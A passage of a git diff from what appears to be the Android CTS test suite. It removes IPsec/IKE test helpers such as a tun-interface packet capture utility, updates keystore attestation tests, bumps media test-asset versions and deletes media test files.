-        IkeSaProposal saProposal =
-                buildIkeSaProposalWithCombinedModeCipher(false /* hasIntegrityNone */);
-
-        assertEquals(COMBINED_MODE_CIPHERS, saProposal.getEncryptionAlgorithms());
-        assertEquals(PRFS, saProposal.getPseudorandomFunctions());
-        assertEquals(DH_GROUPS, saProposal.getDhGroups());
-        assertTrue(saProposal.getIntegrityAlgorithms().isEmpty());
-    }
-
-    @Test
-    public void testBuildIkeSaProposalWithCombinedModeCipherAndIntegrityNone() {
-        IkeSaProposal saProposal =
-                buildIkeSaProposalWithCombinedModeCipher(true /* hasIntegrityNone */);
-
-        assertEquals(COMBINED_MODE_CIPHERS, saProposal.getEncryptionAlgorithms());
-        assertEquals(PRFS, saProposal.getPseudorandomFunctions());
-        assertEquals(DH_GROUPS, saProposal.getDhGroups());
-        assertEquals(Arrays.asList(INTEGRITY_ALGORITHM_NONE), saProposal.getIntegrityAlgorithms());
-    }
-
-    @Test
-    public void testBuildChildSaProposalWithNormalModeCipher() {
-        ChildSaProposal saProposal = buildChildSaProposalWithNormalModeCipher();
-
-        assertEquals(NORMAL_MODE_CIPHERS, saProposal.getEncryptionAlgorithms());
-        assertEquals(INTEGRITY_ALGOS, saProposal.getIntegrityAlgorithms());
-        assertEquals(DH_GROUPS_WITH_NONE, saProposal.getDhGroups());
-    }
-
-    @Test
-    public void testBuildChildProposalWithCombinedModeCipher() {
-        ChildSaProposal saProposal =
-                buildChildSaProposalWithCombinedModeCipher(false /* hasIntegrityNone */);
-
-        assertEquals(COMBINED_MODE_CIPHERS, saProposal.getEncryptionAlgorithms());
-        assertTrue(saProposal.getIntegrityAlgorithms().isEmpty());
-        assertEquals(DH_GROUPS_WITH_NONE, saProposal.getDhGroups());
-    }
-
-    @Test
-    public void testBuildChildProposalWithCombinedModeCipherAndIntegrityNone() {
-        ChildSaProposal saProposal =
-                buildChildSaProposalWithCombinedModeCipher(true /* hasIntegrityNone */);
-
-        assertEquals(COMBINED_MODE_CIPHERS, saProposal.getEncryptionAlgorithms());
-        assertEquals(Arrays.asList(INTEGRITY_ALGORITHM_NONE), saProposal.getIntegrityAlgorithms());
-        assertEquals(DH_GROUPS_WITH_NONE, saProposal.getDhGroups());
-    }
-
-    @Test
-    public void testBuildChildSaProposalWithOnlyCiphers() {
-        ChildSaProposal saProposal = buildChildSaProposalWithOnlyCiphers();
-
-        assertEquals(COMBINED_MODE_CIPHERS, saProposal.getEncryptionAlgorithms());
-        assertTrue(saProposal.getIntegrityAlgorithms().isEmpty());
-        assertTrue(saProposal.getDhGroups().isEmpty());
-    }
-
-    // TODO(b/148689509): Test throwing exception when algorithm combination is invalid
-}
diff --git a/tests/tests/ipsec/src/android/ipsec/ike/cts/TestNetworkUtils.java b/tests/tests/ipsec/src/android/ipsec/ike/cts/TestNetworkUtils.java
deleted file mode 100644
index 2f2a6a4..0000000
--- a/tests/tests/ipsec/src/android/ipsec/ike/cts/TestNetworkUtils.java
+++ /dev/null
@@ -1,87 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.ipsec.ike.cts;
-
-import static android.net.NetworkCapabilities.NET_CAPABILITY_NOT_VPN;
-import static android.net.NetworkCapabilities.NET_CAPABILITY_TRUSTED;
-import static android.net.NetworkCapabilities.TRANSPORT_TEST;
-
-import android.net.ConnectivityManager;
-import android.net.Network;
-import android.net.NetworkRequest;
-import android.net.TestNetworkManager;
-import android.os.IBinder;
-import android.os.RemoteException;
-
-import java.util.concurrent.CompletableFuture;
-import java.util.concurrent.TimeUnit;
-
-// TODO(b/148689509): Share this class with net CTS test (e.g. IpSecManagerTunnelTest)
-public class TestNetworkUtils {
-    private static final int TIMEOUT_MS = 500;
-
-    /** Callback to receive requested test network. */
-    public static class TestNetworkCallback extends ConnectivityManager.NetworkCallback {
-        private final CompletableFuture<Network> futureNetwork = new CompletableFuture<>();
-
-        @Override
-        public void onAvailable(Network network) {
-            futureNetwork.complete(network);
-        }
-
-        public Network getNetworkBlocking() throws Exception {
-            return futureNetwork.get(TIMEOUT_MS, TimeUnit.MILLISECONDS);
-        }
-    }
-
-    /**
-     * Set up test network.
-     *
-     * <p>Caller MUST have MANAGE_TEST_NETWORKS permission to use this method.
-     *
-     * @param connMgr ConnectivityManager to request network.
-     * @param testNetworkMgr TestNetworkManager to set up test network.
-     * @param ifname the name of the interface to be used for the Network LinkProperties.
-     * @param binder a binder object guarding the lifecycle of this test network.
-     * @return TestNetworkCallback to retrieve the test network.
-     * @throws RemoteException if test network setup failed.
-     * @see android.net.TestNetworkManager
-     */
-    public static TestNetworkCallback setupAndGetTestNetwork(
-            ConnectivityManager connMgr,
-            TestNetworkManager testNetworkMgr,
-            String ifname,
-            IBinder binder)
-            throws RemoteException {
-        NetworkRequest nr =
-                new NetworkRequest.Builder()
-                        .addTransportType(TRANSPORT_TEST)
-                        .removeCapability(NET_CAPABILITY_TRUSTED)
-                        .removeCapability(NET_CAPABILITY_NOT_VPN)
-                        .setNetworkSpecifier(ifname)
-                        .build();
-
-        TestNetworkCallback cb = new TestNetworkCallback();
-        connMgr.requestNetwork(nr, cb);
-
-        // Setup the test network after network request is filed to prevent Network from being
-        // reaped due to no requests matching it.
-        testNetworkMgr.setupTestNetwork(ifname, binder);
-
-        return cb;
-    }
-}
diff --git a/tests/tests/ipsec/src/android/ipsec/ike/cts/TunUtils.java b/tests/tests/ipsec/src/android/ipsec/ike/cts/TunUtils.java
deleted file mode 100644
index dc197f9..0000000
--- a/tests/tests/ipsec/src/android/ipsec/ike/cts/TunUtils.java
+++ /dev/null
@@ -1,264 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.ipsec.ike.cts;
-
-import static android.ipsec.ike.cts.PacketUtils.IP4_HDRLEN;
-import static android.ipsec.ike.cts.PacketUtils.IP6_HDRLEN;
-import static android.ipsec.ike.cts.PacketUtils.IPPROTO_ESP;
-import static android.ipsec.ike.cts.PacketUtils.UDP_HDRLEN;
-import static android.system.OsConstants.IPPROTO_UDP;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.fail;
-
-import android.os.ParcelFileDescriptor;
-
-import java.io.FileInputStream;
-import java.io.FileOutputStream;
-import java.io.IOException;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.Collections;
-import java.util.List;
-import java.util.function.Predicate;
-
-/**
- * This code is a exact copy of {@link TunUtils} in
- * cts/tests/tests/net/src/android/net/cts/TunUtils.java, except the import path of PacketUtils is
- * the path to the copy of PacktUtils.
- *
- * <p>TODO(b/148689509): Statically include the TunUtils source file instead of copying it.
- */
-public class TunUtils {
-    private static final String TAG = TunUtils.class.getSimpleName();
-
-    private static final int DATA_BUFFER_LEN = 4096;
-    static final int TIMEOUT = 500;
-
-    static final int IP4_PROTO_OFFSET = 9;
-    static final int IP6_PROTO_OFFSET = 6;
-
-    static final int IP4_ADDR_OFFSET = 12;
-    static final int IP4_ADDR_LEN = 4;
-    static final int IP6_ADDR_OFFSET = 8;
-    static final int IP6_ADDR_LEN = 16;
-
-    final List<byte[]> mPackets = new ArrayList<>();
-    private final ParcelFileDescriptor mTunFd;
-    private final Thread mReaderThread;
-
-    public TunUtils(ParcelFileDescriptor tunFd) {
-        mTunFd = tunFd;
-
-        // Start background reader thread
-        mReaderThread =
-                new Thread(
-                        () -> {
-                            try {
-                                // Loop will exit and thread will quit when tunFd is closed.
-                                // Receiving either EOF or an exception will exit this reader loop.
-                                // FileInputStream in uninterruptable, so there's no good way to
-                                // ensure that this thread shuts down except upon FD closure.
-                                while (true) {
-                                    byte[] intercepted = receiveFromTun();
-                                    if (intercepted == null) {
-                                        // Exit once we've hit EOF
-                                        return;
-                                    } else if (intercepted.length > 0) {
-                                        // Only save packet if we've received any bytes.
-                                        synchronized (mPackets) {
-                                            mPackets.add(intercepted);
-                                            mPackets.notifyAll();
-                                        }
-                                    }
-                                }
-                            } catch (IOException ignored) {
-                                // Simply exit this reader thread
-                                return;
-                            }
-                        });
-        mReaderThread.start();
-    }
-
-    private byte[] receiveFromTun() throws IOException {
-        FileInputStream in = new FileInputStream(mTunFd.getFileDescriptor());
-        byte[] inBytes = new byte[DATA_BUFFER_LEN];
-        int bytesRead = in.read(inBytes);
-
-        if (bytesRead < 0) {
-            return null; // return null for EOF
-        } else if (bytesRead >= DATA_BUFFER_LEN) {
-            throw new IllegalStateException("Too big packet. Fragmentation unsupported");
-        }
-        return Arrays.copyOf(inBytes, bytesRead);
-    }
-
-    byte[] getFirstMatchingPacket(Predicate<byte[]> verifier, int startIndex) {
-        synchronized (mPackets) {
-            for (int i = startIndex; i < mPackets.size(); i++) {
-                byte[] pkt = mPackets.get(i);
-                if (verifier.test(pkt)) {
-                    return pkt;
-                }
-            }
-        }
-        return null;
-    }
-
-    /**
-     * Checks if the specified bytes were ever sent in plaintext.
-     *
-     * <p>Only checks for known plaintext bytes to prevent triggering on ICMP/RA packets or the like
-     *
-     * @param plaintext the plaintext bytes to check for
-     * @param startIndex the index in the list to check for
-     */
-    public boolean hasPlaintextPacket(byte[] plaintext, int startIndex) {
-        Predicate<byte[]> verifier =
-                (pkt) -> {
-                    return Collections.indexOfSubList(Arrays.asList(pkt), Arrays.asList(plaintext))
-                            != -1;
-                };
-        return getFirstMatchingPacket(verifier, startIndex) != null;
-    }
-
-    public byte[] getEspPacket(int spi, boolean encap, int startIndex) {
-        return getFirstMatchingPacket(
-                (pkt) -> {
-                    return isEsp(pkt, spi, encap);
-                },
-                startIndex);
-    }
-
-    public byte[] awaitEspPacketNoPlaintext(
-            int spi, byte[] plaintext, boolean useEncap, int expectedPacketSize) throws Exception {
-        long endTime = System.currentTimeMillis() + TIMEOUT;
-        int startIndex = 0;
-
-        synchronized (mPackets) {
-            while (System.currentTimeMillis() < endTime) {
-                byte[] espPkt = getEspPacket(spi, useEncap, startIndex);
-                if (espPkt != null) {
-                    // Validate packet size
-                    assertEquals(expectedPacketSize, espPkt.length);
-
-                    // Always check plaintext from start
-                    assertFalse(hasPlaintextPacket(plaintext, 0));
-                    return espPkt; // We've found the packet we're looking for.
-                }
-
-                startIndex = mPackets.size();
-
-                // Try to prevent waiting too long. If waitTimeout <= 0, we've already hit timeout
-                long waitTimeout = endTime - System.currentTimeMillis();
-                if (waitTimeout > 0) {
-                    mPackets.wait(waitTimeout);
-                }
-            }
-
-            fail("No such ESP packet found with SPI " + spi);
-        }
-        return null;
-    }
-
-    private static boolean isSpiEqual(byte[] pkt, int espOffset, int spi) {
-        // Check SPI byte by byte.
-        return pkt[espOffset] == (byte) ((spi >>> 24) & 0xff)
-                && pkt[espOffset + 1] == (byte) ((spi >>> 16) & 0xff)
-                && pkt[espOffset + 2] == (byte) ((spi >>> 8) & 0xff)
-                && pkt[espOffset + 3] == (byte) (spi & 0xff);
-    }
-
-    private static boolean isEsp(byte[] pkt, int spi, boolean encap) {
-        if (isIpv6(pkt)) {
-            // IPv6 UDP encap not supported by kernels; assume non-encap.
-            return pkt[IP6_PROTO_OFFSET] == IPPROTO_ESP && isSpiEqual(pkt, IP6_HDRLEN, spi);
-        } else {
-            // Use default IPv4 header length (assuming no options)
-            if (encap) {
-                return pkt[IP4_PROTO_OFFSET] == IPPROTO_UDP
-                        && isSpiEqual(pkt, IP4_HDRLEN + UDP_HDRLEN, spi);
-            } else {
-                return pkt[IP4_PROTO_OFFSET] == IPPROTO_ESP && isSpiEqual(pkt, IP4_HDRLEN, spi);
-            }
-        }
-    }
-
-    static boolean isIpv6(byte[] pkt) {
-        // First nibble shows IP version. 0x60 for IPv6
-        return (pkt[0] & (byte) 0xF0) == (byte) 0x60;
-    }
-
-    private static byte[] getReflectedPacket(byte[] pkt) {
-        byte[] reflected = Arrays.copyOf(pkt, pkt.length);
-
-        if (isIpv6(pkt)) {
-            // Set reflected packet's dst to that of the original's src
-            System.arraycopy(
-                    pkt, // src
-                    IP6_ADDR_OFFSET + IP6_ADDR_LEN, // src offset
-                    reflected, // dst
-                    IP6_ADDR_OFFSET, // dst offset
-                    IP6_ADDR_LEN); // len
-            // Set reflected packet's src IP to that of the original's dst IP
-            System.arraycopy(
-                    pkt, // src
-                    IP6_ADDR_OFFSET, // src offset
-                    reflected, // dst
-                    IP6_ADDR_OFFSET + IP6_ADDR_LEN, // dst offset
-                    IP6_ADDR_LEN); // len
-        } else {
-            // Set reflected packet's dst to that of the original's src
-            System.arraycopy(
-                    pkt, // src
-                    IP4_ADDR_OFFSET + IP4_ADDR_LEN, // src offset
-                    reflected, // dst
-                    IP4_ADDR_OFFSET, // dst offset
-                    IP4_ADDR_LEN); // len
-            // Set reflected packet's src IP to that of the original's dst IP
-            System.arraycopy(
-                    pkt, // src
-                    IP4_ADDR_OFFSET, // src offset
-                    reflected, // dst
-                    IP4_ADDR_OFFSET + IP4_ADDR_LEN, // dst offset
-                    IP4_ADDR_LEN); // len
-        }
-        return reflected;
-    }
-
-    /** Takes all captured packets, flips the src/dst, and re-injects them. */
-    public void reflectPackets() throws IOException {
-        synchronized (mPackets) {
-            for (byte[] pkt : mPackets) {
-                injectPacket(getReflectedPacket(pkt));
-            }
-        }
-    }
-
-    public void injectPacket(byte[] pkt) throws IOException {
-        FileOutputStream out = new FileOutputStream(mTunFd.getFileDescriptor());
-        out.write(pkt);
-        out.flush();
-    }
-
-    /** Resets the intercepted packets. */
-    public void reset() throws IOException {
-        synchronized (mPackets) {
-            mPackets.clear();
-        }
-    }
-}
diff --git a/tests/tests/jni/libjnitest/android_jni_cts_LinkerNamespacesTest.cpp b/tests/tests/jni/libjnitest/android_jni_cts_LinkerNamespacesTest.cpp
index daef758..2bd24b4 100644
--- a/tests/tests/jni/libjnitest/android_jni_cts_LinkerNamespacesTest.cpp
+++ b/tests/tests/jni/libjnitest/android_jni_cts_LinkerNamespacesTest.cpp
@@ -55,7 +55,7 @@
 static const std::vector<std::regex> kSystemPathRegexes = {
     std::regex("/system/lib(64)?"),
     std::regex("/apex/com\\.android\\.[^/]*/lib(64)?"),
-    std::regex("/system/lib/arm(64)?"), // when CTS runs in ARM ABI on non-ARM CPU. http://b/149852946
+    std::regex("/system/(lib/arm|lib64/arm64)"), // when CTS runs in ARM ABI on non-ARM CPU. http://b/149852946
 };
 
 static const std::string kWebViewPlatSupportLib = "libwebviewchromium_plat_support.so";
diff --git a/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java b/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
index d457995..1af904f 100644
--- a/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
@@ -234,7 +234,8 @@
                 assertEquals(1, certificates.length);
 
                 X509Certificate attestationCert = (X509Certificate) certificates[0];
-                assertNull(attestationCert.getExtensionValue(Attestation.KEY_DESCRIPTION_OID));
+                assertNull(attestationCert.getExtensionValue(Attestation.ASN1_OID));
+                assertNull(attestationCert.getExtensionValue(Attestation.EAT_OID));
             } finally {
                 keyStore.deleteEntry(keystoreAlias);
             }
@@ -272,7 +273,7 @@
             verifyCertificateChain(certificates, TestUtils.hasStrongBox(getContext()));
 
             X509Certificate attestationCert = (X509Certificate) certificates[0];
-            checkDeviceLocked(new Attestation(attestationCert));
+            checkDeviceLocked(Attestation.loadFromCertificate(attestationCert));
         } finally {
             keyStore.deleteEntry(keystoreAlias);
         }
@@ -402,7 +403,7 @@
                 assertEquals(1, certificates.length);
 
                 X509Certificate attestationCert = (X509Certificate) certificates[0];
-                assertNull(attestationCert.getExtensionValue(Attestation.KEY_DESCRIPTION_OID));
+                assertNull(attestationCert.getExtensionValue(Attestation.ASN1_OID));
             } finally {
                 keyStore.deleteEntry(keystoreAlias);
             }
@@ -441,7 +442,7 @@
             verifyCertificateChain(certificates, TestUtils.hasStrongBox(getContext()));
 
             X509Certificate attestationCert = (X509Certificate) certificates[0];
-            checkDeviceLocked(new Attestation(attestationCert));
+            checkDeviceLocked(Attestation.loadFromCertificate(attestationCert));
         } finally {
             keyStore.deleteEntry(keystoreAlias);
         }
@@ -559,12 +560,13 @@
             verifyCertificateChain(certificates, false /* expectStrongBox */);
 
             X509Certificate attestationCert = (X509Certificate) certificates[0];
-            Attestation attestation = new Attestation(attestationCert);
+            Attestation attestation = Attestation.loadFromCertificate(attestationCert);
 
-            checkRsaKeyDetails(attestation, keySize, purposes, ImmutableSet.copyOf(paddingModes));
+            checkRsaKeyDetails(attestation, keySize, purposes,
+                ImmutableSet.copyOf(paddingModes));
             checkKeyUsage(attestationCert, purposes);
-            checkKeyIndependentAttestationInfo(challenge, purposes, startTime, includeValidityDates,
-                    devicePropertiesAttestation, attestation);
+            checkKeyIndependentAttestationInfo(challenge, purposes, startTime,
+                includeValidityDates, devicePropertiesAttestation, attestation);
         } finally {
             keyStore.deleteEntry(keystoreAlias);
         }
@@ -618,12 +620,12 @@
             verifyCertificateChain(certificates, false /* expectStrongBox */);
 
             X509Certificate attestationCert = (X509Certificate) certificates[0];
-            Attestation attestation = new Attestation(attestationCert);
+            Attestation attestation = Attestation.loadFromCertificate(attestationCert);
 
             checkEcKeyDetails(attestation, ecCurve, keySize);
             checkKeyUsage(attestationCert, purposes);
-            checkKeyIndependentAttestationInfo(challenge, purposes, startTime, includeValidityDates,
-                    devicePropertiesAttestation, attestation);
+            checkKeyIndependentAttestationInfo(challenge, purposes, startTime,
+                includeValidityDates, devicePropertiesAttestation, attestation);
         } finally {
             keyStore.deleteEntry(keystoreAlias);
         }
@@ -635,6 +637,7 @@
         int kmVersion = attestation.getKeymasterVersion();
         assertNull(attestation.getTeeEnforced().getAttestationApplicationId());
         aaid = attestation.getSoftwareEnforced().getAttestationApplicationId();
+
         if (kmVersion >= 3) {
             // must be present and correct
             assertNotNull(aaid);
@@ -695,9 +698,11 @@
         checkUnexpectedOids(attestation);
         checkAttestationSecurityLevelDependentParams(attestation);
         assertNotNull(attestation.getAttestationChallenge());
-        assertTrue(Arrays.equals(challenge, attestation.getAttestationChallenge()));
-        assertNotNull(attestation.getUniqueId());
-        assertEquals(0, attestation.getUniqueId().length);
+        assertThat(attestation.getAttestationChallenge(), is(challenge));
+        // In EAT, this is null if not filled in. In ASN.1, this is an array with length 0.
+        if (attestation.getUniqueId() != null) {
+            assertEquals(0, attestation.getUniqueId().length);
+        }
         checkPurposes(attestation, purposes);
         checkDigests(attestation,
                 ImmutableSet.of(KM_DIGEST_NONE, KM_DIGEST_SHA_2_256, KM_DIGEST_SHA_2_512));
@@ -919,8 +924,8 @@
 
     @SuppressWarnings("unchecked")
     private void checkAttestationSecurityLevelDependentParams(Attestation attestation) {
-        assertThat("Attestation version must be 1, 2, 3, or 4", attestation.getAttestationVersion(),
-               either(is(1)).or(is(2)).or(is(3)).or(is(4)));
+        assertThat("Attestation version must be 1, 2, 3, 4 or 5", attestation.getAttestationVersion(),
+               either(is(1)).or(is(2)).or(is(3)).or(is(4)).or(is(5)));
 
         AuthorizationList teeEnforced = attestation.getTeeEnforced();
         AuthorizationList softwareEnforced = attestation.getSoftwareEnforced();
@@ -997,7 +1002,7 @@
     }
 
     private void checkRootOfTrust(Attestation attestation, boolean requireLocked) {
-        RootOfTrust rootOfTrust = attestation.getTeeEnforced().getRootOfTrust();
+        RootOfTrust rootOfTrust = attestation.getRootOfTrust();
         assertNotNull(rootOfTrust);
         assertNotNull(rootOfTrust.getVerifiedBootKey());
         assertTrue("Verified boot key is only " + rootOfTrust.getVerifiedBootKey().length +
diff --git a/tests/tests/media/AndroidTest.xml b/tests/tests/media/AndroidTest.xml
index 0036784..c158663 100644
--- a/tests/tests/media/AndroidTest.xml
+++ b/tests/tests/media/AndroidTest.xml
@@ -26,7 +26,7 @@
     </target_preparer>
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer">
         <option name="push-all" value="true" />
-        <option name="media-folder-name" value="CtsMediaTestCases-1.2" />
+        <option name="media-folder-name" value="CtsMediaTestCases-1.4" />
         <option name="dynamic-config-module" value="CtsMediaTestCases" />
     </target_preparer>
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
diff --git a/tests/tests/media/DynamicConfig.xml b/tests/tests/media/DynamicConfig.xml
index 5331a3c..4548620 100644
--- a/tests/tests/media/DynamicConfig.xml
+++ b/tests/tests/media/DynamicConfig.xml
@@ -51,6 +51,6 @@
         <value>http://redirector.gvt1.com/videoplayback?id=c80658495af60617&amp;itag=17&amp;source=youtube&amp;ip=0.0.0.0&amp;ipbits=0&amp;expire=19000000000&amp;sparams=ip,ipbits,expire,id,itag,source&amp;signature=70E979A621001201BC18622BDBF914FA870BDA40.6E78890B80F4A33A18835F775B1FF64F0A4D0003&amp;key=ik0&amp;user=android-device-test</value>
     </entry>
     <entry key="media_files_url">
-    <value>https://storage.googleapis.com/android_media/cts/tests/tests/media/CtsMediaTestCases-1.2.zip</value>
+    <value>https://storage.googleapis.com/android_media/cts/tests/tests/media/CtsMediaTestCases-1.4.zip</value>
     </entry>
 </dynamicConfig>
diff --git a/tests/tests/media/res/raw/audio_aac_mono_70kbs_44100hz_aac_mono_70kbs_44100hz.mp4 b/tests/tests/media/res/raw/audio_aac_mono_70kbs_44100hz_aac_mono_70kbs_44100hz.mp4
deleted file mode 100644
index 157c222..0000000
--- a/tests/tests/media/res/raw/audio_aac_mono_70kbs_44100hz_aac_mono_70kbs_44100hz.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/audio_with_metadata.mp3 b/tests/tests/media/res/raw/audio_with_metadata.mp3
deleted file mode 100644
index 04f65bc..0000000
--- a/tests/tests/media/res/raw/audio_with_metadata.mp3
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/big5_1.mp3 b/tests/tests/media/res/raw/big5_1.mp3
deleted file mode 100644
index faa3eb4..0000000
--- a/tests/tests/media/res/raw/big5_1.mp3
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/big5_2.mp3 b/tests/tests/media/res/raw/big5_2.mp3
deleted file mode 100644
index a69da4f..0000000
--- a/tests/tests/media/res/raw/big5_2.mp3
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/binary_counter_320x240_30fps_600frames.mp4 b/tests/tests/media/res/raw/binary_counter_320x240_30fps_600frames.mp4
deleted file mode 100644
index 8c0d787..0000000
--- a/tests/tests/media/res/raw/binary_counter_320x240_30fps_600frames.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/binary_counter_320x240_30fps_600frames_editlist.mp4 b/tests/tests/media/res/raw/binary_counter_320x240_30fps_600frames_editlist.mp4
deleted file mode 100644
index 6609614..0000000
--- a/tests/tests/media/res/raw/binary_counter_320x240_30fps_600frames_editlist.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/binary_counter_320x240_30fps_600frames_empty_normal_editlist_entries.mp4 b/tests/tests/media/res/raw/binary_counter_320x240_30fps_600frames_empty_normal_editlist_entries.mp4
deleted file mode 100644
index 5b175ee..0000000
--- a/tests/tests/media/res/raw/binary_counter_320x240_30fps_600frames_empty_normal_editlist_entries.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/binary_counter_320x240_720x240_30fps_600frames.mp4 b/tests/tests/media/res/raw/binary_counter_320x240_720x240_30fps_600frames.mp4
deleted file mode 100644
index 2822d20..0000000
--- a/tests/tests/media/res/raw/binary_counter_320x240_720x240_30fps_600frames.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/bug13652927.ogg b/tests/tests/media/res/raw/bug13652927.ogg
deleted file mode 100644
index 065d9e5..0000000
--- a/tests/tests/media/res/raw/bug13652927.ogg
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/camera_click.ogg b/tests/tests/media/res/raw/camera_click.ogg
deleted file mode 100644
index b836e10..0000000
--- a/tests/tests/media/res/raw/camera_click.ogg
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/color_176x144_bt2020_lr_hlg_h265.mp4 b/tests/tests/media/res/raw/color_176x144_bt2020_lr_hlg_h265.mp4
deleted file mode 100644
index 748151c..0000000
--- a/tests/tests/media/res/raw/color_176x144_bt2020_lr_hlg_h265.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/color_176x144_bt2020_lr_smpte2084_h265.mp4 b/tests/tests/media/res/raw/color_176x144_bt2020_lr_smpte2084_h265.mp4
deleted file mode 100644
index f21237f..0000000
--- a/tests/tests/media/res/raw/color_176x144_bt2020_lr_smpte2084_h265.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/color_176x144_bt601_525_lr_sdr_h264.mp4 b/tests/tests/media/res/raw/color_176x144_bt601_525_lr_sdr_h264.mp4
deleted file mode 100644
index 84701c3..0000000
--- a/tests/tests/media/res/raw/color_176x144_bt601_525_lr_sdr_h264.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/color_176x144_bt601_525_lr_sdr_h265.mp4 b/tests/tests/media/res/raw/color_176x144_bt601_525_lr_sdr_h265.mp4
deleted file mode 100644
index 7d948d4..0000000
--- a/tests/tests/media/res/raw/color_176x144_bt601_525_lr_sdr_h265.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/color_176x144_bt601_525_lr_sdr_mpeg2.mp4 b/tests/tests/media/res/raw/color_176x144_bt601_525_lr_sdr_mpeg2.mp4
deleted file mode 100644
index 0edf5c4..0000000
--- a/tests/tests/media/res/raw/color_176x144_bt601_525_lr_sdr_mpeg2.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/color_176x144_bt601_625_fr_sdr_h264.mp4 b/tests/tests/media/res/raw/color_176x144_bt601_625_fr_sdr_h264.mp4
deleted file mode 100644
index ed3b47d..0000000
--- a/tests/tests/media/res/raw/color_176x144_bt601_625_fr_sdr_h264.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/color_176x144_bt601_625_fr_sdr_h265.mp4 b/tests/tests/media/res/raw/color_176x144_bt601_625_fr_sdr_h265.mp4
deleted file mode 100644
index 11025be..0000000
--- a/tests/tests/media/res/raw/color_176x144_bt601_625_fr_sdr_h265.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/color_176x144_bt601_625_lr_sdr_mpeg2.mp4 b/tests/tests/media/res/raw/color_176x144_bt601_625_lr_sdr_mpeg2.mp4
deleted file mode 100644
index a16fc6f..0000000
--- a/tests/tests/media/res/raw/color_176x144_bt601_625_lr_sdr_mpeg2.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/color_176x144_bt709_lr_sdr_h264.mp4 b/tests/tests/media/res/raw/color_176x144_bt709_lr_sdr_h264.mp4
deleted file mode 100644
index d95d5c7..0000000
--- a/tests/tests/media/res/raw/color_176x144_bt709_lr_sdr_h264.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/color_176x144_bt709_lr_sdr_h265.mp4 b/tests/tests/media/res/raw/color_176x144_bt709_lr_sdr_h265.mp4
deleted file mode 100644
index dfd97fe..0000000
--- a/tests/tests/media/res/raw/color_176x144_bt709_lr_sdr_h265.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/color_176x144_bt709_lr_sdr_mpeg2.mp4 b/tests/tests/media/res/raw/color_176x144_bt709_lr_sdr_mpeg2.mp4
deleted file mode 100644
index 3385ed1..0000000
--- a/tests/tests/media/res/raw/color_176x144_bt709_lr_sdr_mpeg2.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/color_176x144_srgb_lr_sdr_h264.mp4 b/tests/tests/media/res/raw/color_176x144_srgb_lr_sdr_h264.mp4
deleted file mode 100644
index 2360277..0000000
--- a/tests/tests/media/res/raw/color_176x144_srgb_lr_sdr_h264.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/color_176x144_srgb_lr_sdr_h265.mp4 b/tests/tests/media/res/raw/color_176x144_srgb_lr_sdr_h265.mp4
deleted file mode 100644
index fe34c5b..0000000
--- a/tests/tests/media/res/raw/color_176x144_srgb_lr_sdr_h265.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/color_176x144_srgb_lr_sdr_mpeg2.mp4 b/tests/tests/media/res/raw/color_176x144_srgb_lr_sdr_mpeg2.mp4
deleted file mode 100644
index 9de85c7..0000000
--- a/tests/tests/media/res/raw/color_176x144_srgb_lr_sdr_mpeg2.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/cp1251_3.mp3 b/tests/tests/media/res/raw/cp1251_3.mp3
deleted file mode 100644
index 179a1a5..0000000
--- a/tests/tests/media/res/raw/cp1251_3.mp3
+++ /dev/null
Binary files differ
